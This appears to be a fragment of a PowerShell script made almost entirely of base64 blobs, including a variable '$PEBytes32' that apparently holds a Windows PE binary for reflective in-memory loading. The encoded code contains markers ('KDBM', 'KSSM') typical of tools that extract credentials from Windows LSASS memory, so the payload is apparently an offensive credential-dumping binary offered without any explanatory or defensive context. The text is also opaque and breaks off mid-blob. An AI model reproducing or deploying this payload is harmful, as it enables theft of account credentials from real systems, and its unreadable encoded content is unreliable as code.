isDgCkwQcA38IHAOyyDgDgwgcADsMHAAisDgAQwwcASMQHABTaDgBIxAcAdsQHAAisDgB4xAcAvMUHACjaDgC8xQcA6sUHAAisDgDsxQcA/8YHADzaDgALxwcAgscHAEzaDgAIyAcAssgHAOSuDgC0yAcAT8kHAOirDgBQyQcA6MkHAFTaDgDoyQcAgcoHAETADgCEygcAEssHALy6DgAUywcAp8sHAHSrDgCoywcAZc4HAGDaDgBxzgcA6M4HAHjaDgBQzwcAoM8HAHSrDgCgzwcAudAHAIDaDgC80AcAStEHALzaDgBM0QcAf9IHAPTaDgCA0gcAvdIHAEyvDgDA0gcAbNMHABzbDgCQ0wcAq9MHAHSrDgCs0wcA5dMHAHSrDgDo0wcAHNQHAHSrDgAc1AcAMdQHAHSrDgA01AcAXNQHAHSrDgBc1AcAcdQHAHSrDgB01AcA1NQHAEytDgDU1AcABNUHAHSrDgAE1QcAGNUHAHSrDgAY1QcAYdUHAOSuDgBk1QcAPNYHAGSrDgA81gcA1dYHACjbDgDY1gcA/NYHAOSuDgD81gcAJ9cHAOSuDgA41wcAgtgHAFDbDgCE2AcAwNgHAOirDgDA2AcA/NgHAOirDgAA2QcAudoHAGTbDgA43AcAgd0HAHS4DgA43gcAyd4HAHS4DgDM3gcA1+AHAKCrDgDY4AcA9OIHAHjbDgD04gcA9OQHAIzbDgD05AcAfeUHAHS4DgCA5QcAquUHAOSuDgCs5QcA3uUHAHSrDgDg5QcA9OUHAHSrDgD05QcABuYHAHSrDgAI5gcAKOYHAHSrDgAo5gcAOOYHAHSrDgBQ5gcAYOYHAKDbDgBw5gcAAOgHAKzbDgAQ6AcAKOgHALDbDgAw6AcAMegHALTbDgBA6AcAQegHALjbDgB86AcA7egHALzbDgD06AcAE+kHAHSrDgAU6QcAYekHAOSuDgBk6QcAL+oHAEyvDgAw6gcAgeoHAHSrDgCE6gcApuoHAHSrDgCo6gcA7uoHAOSuDgDw6gcAJ+sHAOSuDgAo6wcA/uwHAKysDgAA7QcARe0HAOSuDgBI7QcAju0HAOSuDgCQ7QcA1u0HAOSuDgDY7QcAKe4HAOirDgAs7gcAje4HAEyvDgCQ7gcAv+4HANzbDgDA7gcA/u4HAOTbDgAg7wcAM+8HAPDbDgBA7wcAdfMHAPzbDgCQ8wcA0PMHAADcDgDg8wcAJ/QHAAjcDgAo9AcAZfQHAATdDgBo9AcADfYHAMDcDgAQ9gcAxPcHABDcDgDE9wcAcPgHAEytDgDk+AcAf/kHAHy4DgCA+QcAHPoHAHy4DgAc+gcAqvoHAODcDgCs+gcAB/sHAHy4DgAI+wcAdvsHAPjcDgB4+wcA9PsHAOSuDgD0+wcAc/wHAOSuDgB0/AcABP0HAOirDgAE/QcA8v0HAGjcDgD0/QcAYf4HAOirDgBk/gcA5/4HAPy/DgDo/gcAZ/8HAGy3DgBo/wcAegEIAEytDgB8AQgAfgMIACy+DgCAAwgA9QUIAGDTDgD4BQgAfggIAPisDgCACAgA+QoIAPisDgD8CggAcAsIAOSuDgBwCwgABQwIAHSrDgAIDAgAgw0IAHSrDgCEDQgAJg8IAHSrDgAoDwgAyhAIAHSrDgDMEAgARRMIAITcDgBIEwgAERYIADTcDgAUFggA3RgIADTcDgDgGAgAXxkIAEyvDgBgGQgA4BkIAEyvDgDgGQgA+hsIAJzcDgD8GwgAPR4IAFjcDgBAHggA8h4IAOirDgD0HggAmh8IADy5DgCcHwgAOyEIAOSuDgA8IQgAFyIIAEyvDgAYIggAqCIIAEyvDgCoIggAbiMIAEyvDgBwIwgARSQIAKjcDgBIJAgANCUIAOS6DgA0JQgAISYIAITIDgAkJggALScIAIy6DgAwJwgA6icIADysDgDsJwgAqygIAKysDgCsKAgANykIAMTTDgA4KQgAaysIABDcDgBsKwgAzysIAGiuDgDQKwgABy4IABDcDgAILggAdi4IANisDgB4LggA+i4IAMyzDgAELwgAiS8IAHSrDgCMLwgAeTAIANS2DgB8MAgA4TAIAOSuDgDkMAgAYzEIAOSuDgBkMQgAgzIIAPisDgCYMggA8zIIAOSuDgAMMwgAgzMIAEyvDgCEMwgAzzMIAOSuDgDcMwgAwDQIAEzdDgDANAgAAzUIACjdDgAENQgAhzUIAOirDgCINQgA8TUIAIjdDgD0NQgA1TYIAKzdDgAgNwgAZzcIAHSrDgBoNwgAGzgIAFzKDgCUOAgApzsIAEy9DgCoOwgAfEIIANjdDgB8QggAr0UIAEy9DgCwRQgAaE0IAPTdDgBoTQgAl00IAGiuDgCYTQgAx00IAGiuDgDITQgA900IAGiuDgD4TQgAJ04IAGiuDgAoTggAV04IAGiuDgBYTggAh04IAGiuDgCoTggATk8IAPTeDgBQTwgA9k8IAPTeDgD4TwgAnlAIAPTeDgCgUAgARlEIAPTeDgBIUQgAJlkIAEDLDgAoWQgAIWsIAAzfDgAkawgA02wIACTfDgDUbAgA024IADjfDgDUbggAQXEIACzfDgBEcQgACnQIAEzfDgAMdAgAg3QIAHy4DgCEdAgADHUIAHy4DgAMdQgAg3UIAHy4DgCEdQgADHYIAHy4DgAMdggAI3cIAAisDgAkdwgAS3gIAAisDgBMeAgA3XwIAEy9DgDgfAgAK4YIALy7DgAshggA0YYIAOjeDgDUhggAcIcIAOjeDgBwhwgAF4gIAOjeDgAYiAgAtogIAOjeDgC4iAgAgIoIAPisDgCAiggAYIwIAHS6DgBgjAgAYI4IAATDDgBgjggAH5AIAKS+DgAgkAgArZAIAEytDgCwkAgACZEIAEyvDgDYkQgAqJMIAEyvDgCokwgAMJUIAOirDgAwlQgAaZUIAAisDgBslQgApZUIAAisDgColQgAW5kIAJjeDgBcmQgA5poIACC5DgDomggAqrgIALDeDgCsuAgAW7kIANisDgBguQgAyboIAFTeDgDJuggA/L0IAHTeDgD8vQgALr4IAIjeDgAwvggAq74IAEyvDgBIvwgANsAIAEyvDgA4wAgAHcEIAOirDgAgwQgAQcIIAOirDgBEwggAecMIAOirDgB8wwgA6sMIAOirDgDswwgAYcQIAOirDgBkxAgAEsUIANTeDgAUxQgAycUIANTeDgDMxQgAV8YIAOirDgBYxggADMcIAOirDgAMxwgAwccIAOirDgDExwgATcgIAEyvDgBQyAgA4MgIAEyvDgBYzAgA/8wIAOSuDgAAzQgAVc8IAJSrDgDQ0QgAY9MIAEyvDgBk0wgAQdUIAKS+DgBE1QgAutUIAEyvDgC81QgATdYIAPisDgBQ1ggA7NYIALyrDgDs1ggAltcIAOyuDgCY1wgAHNgIAOirDgAc2AgAl9gIAOirDgCY2AgA39kIADDeDgDg2QgABdsIABTeDgAI2wgAj9sIAEyvDgCQ2wgAKdwIAHSrDgAs3AgARN0IAACxDgBM3QgA8d4IAIzBDgD03ggADt8IAAisDgBs3wgA/+AIAJSrDgAA4QgA4uEIAEyvDgDk4QgAL+IIAOSuDgAw4ggAeOIIAEyvDgB44ggAseIIAHSrDgDQ4ggATeMIAGjfDgBQ4wgAnOMIAHSrDgCk4wgAbeQIAGzfDgAI5QgAQOUIAHSrDgBA5QgAZeUIAHSrDgB05QgAt+UIAHSrDgC45QgAu+YIAHTfDgC85ggA0+YIAHSrDgAA5wgAducIAPisDgB45wgAxOcIAEyvDgDY5wgAZekIAEytDgB06QgA4OoIAKjfDgDg6ggAKesIAOSuDgAs6wgAmOsIAOirDgDE6wgAgO0IADysDgCA7QgA4e0IAOSuDgDk7QgAWu8IAOjfDgBc7wgAoe8IAOSuDgCk7wgAEPAIAOirDgAQ8AgACfEIABCvDgAM8QgATfEIAMCzDgBQ8QgAI/IIAPzfDgAk8ggAPvIIAHSrDgBA8ggAWvIIAHSrDgBk8ggAnPIIAHSrDgCk8ggAQ/QIABTgDgBE9AgAfvQIAAzgDgDU9AgA9/QIAHSrDgD49AgACPUIAHSrDgAI9QgAWfUIAOSuDgBk9QgA8vUIAOSuDgAI9ggAHPYIAHSrDgAc9ggALPYIAHSrDgBA9ggAUPYIAHSrDgBQ9ggAd/YIAETgDgB49ggA1/YIAOSuDgDY9ggAAvcIAAisDgAE9wgAWfcIAHSrDgBk9wgAv/gIAGTgDgDI+AgAb/kIAGCtDgBw+QgAjvkIAAisDgCQ+QgA1vkIAHSrDgDY+QgATPoIAGSrDgBM+ggAwPoIAGSrDgDA+ggADfsIAOirDgAQ+wgATvwIAITgDgBQ/AgAe/wIAHSrDgDE/AgAEv0IAOirDgAU/QgANP0IAHSrDgA0/QgAVP0IAHSrDgBU/QgAkf0IAESvDgCU/QgA8v0IAOSuDgD0/QgAPP8IAPS+DgBE/wgAyAAJAJTgDgDIAAkA3AAJAAisDgDcAAkANQIJAKTgDgA4AgkAKAQJAKTgDgAoBAkAhwQJAPzgDgCIBAkAzQQJANjgDgDQBAkADwUJALTgDgAQBQkATQUJACDhDgBQBQkAHQYJAKzgDgAgBgkAQAYJAESvDgBABgkANQcJADDSDgA4BwkAnwcJAOirDgCgBwkA4QcJAOSuDgDkBwkAeAgJAOirDgB4CAkAFwkJAEyvDgAYCQkAUQkJAHSrDgBUCQkAdgkJAHSrDgB4CQkAqQkJAOSuDgCsCQkA3QkJAOSuDgBICgkApQ0JAFy2DgCoDQkAdQ4JAOjADgB4DgkAUxAJAFjhDgBUEAkAnBEJAACxDgCcEQkA0xIJAHDhDgDUEgkAFhQJAEThDgAYFAkAWRYJAIzBDgBcFgkA1RcJAIThDgDYFwkA/hcJAHSrDgAwGAkA/xgJAOirDgAAGQkAORkJAOTbDgBIGQkAjxkJAKDhDgCQGQkAexoJAODhDgB8GgkAdxsJADSxDgB4GwkAsxsJAMDhDgC0GwkA9BsJAOirDgD0GwkAuBwJAGzfDgC4HAkALR0JAOSuDgAwHQkA0B4JAKysDgDQHgkAvx8JAPS+DgDAHwkAFSAJAOirDgAYIAkAbSAJAOirDgBwIAkAxSAJAOirDgDIIAkAMCEJAEyvDgAwIQkA+SEJAACxDgD8IQkAuCIJAGCtDgC4IgkAMCMJAEytDgAwIwkAHyQJAPS+DgAgJAkAhSQJAEyvDgCIJAkA7CQJAEyvDgDsJAkAIyUJANzbDgAkJQkAqSUJAJSrDgCsJQkA7SUJAOSuDgDwJQkAoiYJAPzhDgCkJgkA5CYJAOSuDgDkJgkALCcJAOSuDgBIJwkAfycJAOSuDgCcJwkAKCgJACjiDgAoKAkAuSgJACDiDgC8KAkAxCoJAJTiDgDEKgkAySsJALTiDgDMKwkA6CwJALTiDgDoLAkAWi4JANTiDgBcLgkASC8JAEziDgBILwkAKTIJAHziDgAsMgkAnTIJAPjiDgCgMgkAQTMJACDiDgBEMwkA/jMJAOirDgAANAkAWTQJABzjDgCgNAkAijUJAEytDgCMNQkATTgJAMyzDgBQOAkA7DgJADzjDgDsOAkAGzkJAHSrDgAcOQkAjDkJAJSrDgCMOQkAmzoJAFDjDgCcOgkArzoJAHSrDgCwOgkAMjsJAOirDgA0OwkAJjwJAEyvDgAoPAkAx0sJAIjjDgDISwkAGE0JAIS4DgAYTQkAf1IJAJjjDgCAUgkAJFQJAGzjDgAkVAkAQFQJAHSrDgBMVAkA01QJAOjADgDUVAkAelYJALzjDgCYVgkAoVgJANDjDgCkWAkAtFkJAJCtDgC0WQkAYFsJAOjjDgBgWwkAJ1wJAEytDgAwXAkAaFwJAGjkDgBoXAkAf14JAEyvDgCAXgkA/V4JAGSrDgAAXwkAkF8JAEytDgCQXwkAcmEJAEzkDgB0YQkAKWMJAMTODgAsYwkAU2MJAHSrDgBUYwkAE2QJAAjkDgAUZAkAu2YJACzkDgC8ZgkAMWcJAFzKDgBIZwkAS2gJAACxDgBMaAkAOWsJAJjeDgA8awkAJmwJAOSsDgA4bAkAzWwJAEytDgDQbAkAZG0JAEytDgBkbQkAs20JAEyvDgC8bQkA/G0JAOirDgD8bQkAMG4JAIzkDgAwbgkAdW4JAODkDgB4bgkApm4JAKzkDgDIbgkAYXEJALTkDgCMcQkA0XEJAOirDgDUcQkAE3IJAGSrDgAUcgkAb3UJAATlDgBwdQkABnYJABTTDgAQdgkAP3YJAHSrDgDMdgkAQngJAEytDgBseAkAongJAESvDgDMeAkAdHkJAHSrDgB0eQkA5HkJACzlDgDkeQkATHoJAOirDgBMegkAC3sJAOSuDgAMewkAd44JAFDlDgB4jgkAfI8JAHDlDgB8jwkAhZAJAIDlDgCIkAkAcJEJAEyvDgBwkQkAWZIJAEyvDgBckgkAu5IJAHSrDgC8kgkAxpMJAMy5DgDIkwkANJQJAESvDgA0lAkAipQJAEyvDgCMlAkAlJUJAJDlDgCUlQkARZcJAKDlDgBIlwkA3ZcJAEytDgDglwkAMJgJAKi5DgAwmAkA55gJAPjlDgAMmQkAy5kJAPisDgDwmQkAH5sJAMjlDgAgmwkA2psJADSxDgDcmwkAUZwJAHSrDgBUnAkAG50JACTmDgAcnQkATp0JAHSrDgBQnQkAQJ4JADzmDgBAngkA2Z4JAEyvDgDsngkARZ8JAGzmDgCQnwkA4J8JAHSrDgDgnwkAuqAJANS2DgC8oAkAmqEJAJDmDgCcoQkALqQJAITcDgAwpAkAOaYJALTmDgA8pgkA/aYJADy5DgAApwkA76oJAHTmDgDwqgkAIqsJAAisDgAkqwkAhasJAOSuDgCIqwkAn6sJAHSrDgCgqwkAsasJAHSrDgDAqwkAEKwJAOSuDgAQrAkA7K0JAJTNDgDsrQkAHK8JADStDgBsrwkAm68JAHSrDgCcrwkAy68JAHSrDgDMrwkA+68JAHSrDgD8rwkASrIJAPjmDgBMsgkAILQJAOjmDgAgtAkAJbUJAAznDgAotQkAZLUJAMjmDgBktQkAkbcJAITnDgCUtwkAkboJAGznDgCUugk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2723
2724 $PEBytes32 =
2725 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